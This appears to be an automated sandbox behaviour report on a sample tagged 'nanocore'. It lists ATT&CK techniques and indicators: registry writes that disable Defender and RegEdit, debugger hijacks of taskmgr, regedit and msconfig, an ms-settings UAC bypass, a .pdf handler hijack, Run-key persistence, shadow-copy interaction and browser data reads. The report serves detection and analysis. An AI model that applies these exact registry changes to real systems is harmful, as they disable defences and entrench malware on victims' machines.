nanocore | b5f946a1309700b4a27cb43305c701e52552dddbc0d5bf50c4228bd6e3865b6b

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	gdttoken.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3396	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	gdttoken.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	gdttoken.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	gdttoken.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gdttoken.io_chrome.exe"	gdttoken.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	gdttoken.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gdttoken.io_chrome.exe"	gdttoken.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	gdttoken.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gdttoken.io_chrome.exe"	gdttoken.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
6484	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	gdttoken.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	gdttoken.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	gdttoken.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gdttoken.io_chrome.exe"	gdttoken.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gdttoken.io_chrome.exe"	gdttoken.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gdttoken.io_chrome.exe"	gdttoken.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3380	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	gdttoken.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	gdttoken.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	gdttoken.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2840	wscript.exe
3064	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	gdttoken.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	gdttoken.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3012	sc.exe
1232	sc.exe
4916	sc.exe
6928	sc.exe
3496	sc.exe
4264	sc.exe
7108	sc.exe
1236	sc.exe
1156	sc.exe
3728	sc.exe
4780	sc.exe
6720	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6388	cmd.exe
5248	cmd.exe
2488	cmd.exe
6264	cmd.exe
4100	cmd.exe
400	cmd.exe
2056	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3520	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
6500	ipconfig.exe
1688	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
3092	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
940	vssadmin.exe
1812	vssadmin.exe
1156	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Control Panel\Desktop\WallpaperStyle = "2"	gdttoken.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134307194505760898"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	gdttoken.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	gdttoken.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\DelegateExecute	gdttoken.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open	gdttoken.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings	gdttoken.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command	gdttoken.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell	gdttoken.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gdttoken.io_chrome.exe"	gdttoken.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open	gdttoken.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	gdttoken.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	gdttoken.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\gdttoken.io_chrome.exe\" \"%1\""	gdttoken.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings	gdttoken.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell\open\command	gdttoken.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000_Classes\ms-settings\shell	gdttoken.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	gdttoken.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2968	schtasks.exe
4716	schtasks.exe
4824	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4140	chrome.exe
4140	chrome.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
4724	WMIC.exe
4724	WMIC.exe
4724	WMIC.exe
4724	WMIC.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
3728	WMIC.exe
3728	WMIC.exe
3728	WMIC.exe
3728	WMIC.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
2572	WMIC.exe
2572	WMIC.exe
2572	WMIC.exe
2572	WMIC.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe
6132	gdttoken.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
6132	gdttoken.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4140	chrome.exe
Token: SeCreatePagefilePrivilege	4140	chrome.exe
Token: SeDebugPrivilege	3396	powershell.exe
Token: SeShutdownPrivilege	4140	chrome.exe
Token: SeCreatePagefilePrivilege	4140	chrome.exe
Token: SeShutdownPrivilege	4140	chrome.exe
Token: SeCreatePagefilePrivilege	4140	chrome.exe
Token: SeShutdownPrivilege	4140	chrome.exe
Token: SeCreatePagefilePrivilege	4140	chrome.exe
Token: SeShutdownPrivilege	4140	chrome.exe
Token: SeCreatePagefilePrivilege	4140	chrome.exe
Token: SeShutdownPrivilege	4140	chrome.exe
Token: SeCreatePagefilePrivilege	4140	chrome.exe
Token: SeIncreaseQuotaPrivilege	4724	WMIC.exe
Token: SeSecurityPrivilege	4724	WMIC.exe
Token: SeTakeOwnershipPrivilege	4724	WMIC.exe
Token: SeLoadDriverPrivilege	4724	WMIC.exe
Token: SeSystemProfilePrivilege	4724	WMIC.exe
Token: SeSystemtimePrivilege	4724	WMIC.exe
Token: SeProfSingleProcessPrivilege	4724	WMIC.exe
Token: SeIncBasePriorityPrivilege	4724	WMIC.exe
Token: SeCreatePagefilePrivilege	4724	WMIC.exe
Token: SeBackupPrivilege	4724	WMIC.exe
Token: SeRestorePrivilege	4724	WMIC.exe
Token: SeShutdownPrivilege	4724	WMIC.exe
Token: SeDebugPrivilege	4724	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4724	WMIC.exe
Token: SeRemoteShutdownPrivilege	4724	WMIC.exe
Token: SeUndockPrivilege	4724	WMIC.exe
Token: SeManageVolumePrivilege	4724	WMIC.exe
Token: 33	4724	WMIC.exe
Token: 34	4724	WMIC.exe
Token: 35	4724	WMIC.exe
Token: 36	4724	WMIC.exe
Token: SeBackupPrivilege	4836	vssvc.exe
Token: SeRestorePrivilege	4836	vssvc.exe
Token: SeAuditPrivilege	4836	vssvc.exe
Token: SeShutdownPrivilege	4140	chrome.exe
Token: SeCreatePagefilePrivilege	4140	chrome.exe
Token: SeIncreaseQuotaPrivilege	4724	WMIC.exe
Token: SeSecurityPrivilege	4724	WMIC.exe
Token: SeTakeOwnershipPrivilege	4724	WMIC.exe
Token: SeLoadDriverPrivilege	4724	WMIC.exe
Token: SeSystemProfilePrivilege	4724	WMIC.exe
Token: SeSystemtimePrivilege	4724	WMIC.exe
Token: SeProfSingleProcessPrivilege	4724	WMIC.exe
Token: SeIncBasePriorityPrivilege	4724	WMIC.exe
Token: SeCreatePagefilePrivilege	4724	WMIC.exe
Token: SeBackupPrivilege	4724	WMIC.exe
Token: SeRestorePrivilege	4724	WMIC.exe
Token: SeShutdownPrivilege	4724	WMIC.exe
Token: SeDebugPrivilege	4724	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4724	WMIC.exe
Token: SeRemoteShutdownPrivilege	4724	WMIC.exe
Token: SeUndockPrivilege	4724	WMIC.exe
Token: SeManageVolumePrivilege	4724	WMIC.exe
Token: 33	4724	WMIC.exe
Token: 34	4724	WMIC.exe
Token: 35	4724	WMIC.exe
Token: 36	4724	WMIC.exe
Token: SeShutdownPrivilege	4140	chrome.exe
Token: SeCreatePagefilePrivilege	4140	chrome.exe
Token: SeIncreaseQuotaPrivilege	3396	powershell.exe
Token: SeSecurityPrivilege	3396	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe
4140	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6132	gdttoken.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6132 wrote to memory of 4140	6132	gdttoken.io_chrome.exe	90
PID 4140 wrote to memory of 3312	4140	chrome.exe	91
PID 6132 wrote to memory of 3396	6132	gdttoken.io_chrome.exe	92
PID 6132 wrote to memory of 3728	6132	gdttoken.io_chrome.exe	168
PID 4140 wrote to memory of 3520	4140	chrome.exe	96
PID 4140 wrote to memory of 6808	4140	chrome.exe	97
PID 4140 wrote to memory of 6808	4140	chrome.exe	97
PID 4140 wrote to memory of 6824	4140	chrome.exe	99
PID 4140 wrote to memory of 6824	4140	chrome.exe	99
PID 4140 wrote to memory of 2636	4140	chrome.exe	100
PID 4140 wrote to memory of 4600	4140	chrome.exe	101
PID 4140 wrote to memory of 2636	4140	chrome.exe	100
PID 4140 wrote to memory of 4600	4140	chrome.exe	101
PID 6132 wrote to memory of 4780	6132	gdttoken.io_chrome.exe	102
PID 6132 wrote to memory of 6720	6132	gdttoken.io_chrome.exe	104
PID 4140 wrote to memory of 5904	4140	chrome.exe	105
PID 4140 wrote to memory of 5904	4140	chrome.exe	105
PID 4140 wrote to memory of 3640	4140	chrome.exe	106
PID 4140 wrote to memory of 3640	4140	chrome.exe	106
PID 6132 wrote to memory of 3012	6132	gdttoken.io_chrome.exe	108
PID 6132 wrote to memory of 4264	6132	gdttoken.io_chrome.exe	110
PID 6132 wrote to memory of 7108	6132	gdttoken.io_chrome.exe	112
PID 6132 wrote to memory of 1232	6132	gdttoken.io_chrome.exe	114
PID 6132 wrote to memory of 1236	6132	gdttoken.io_chrome.exe	116
PID 6132 wrote to memory of 2704	6132	gdttoken.io_chrome.exe	118
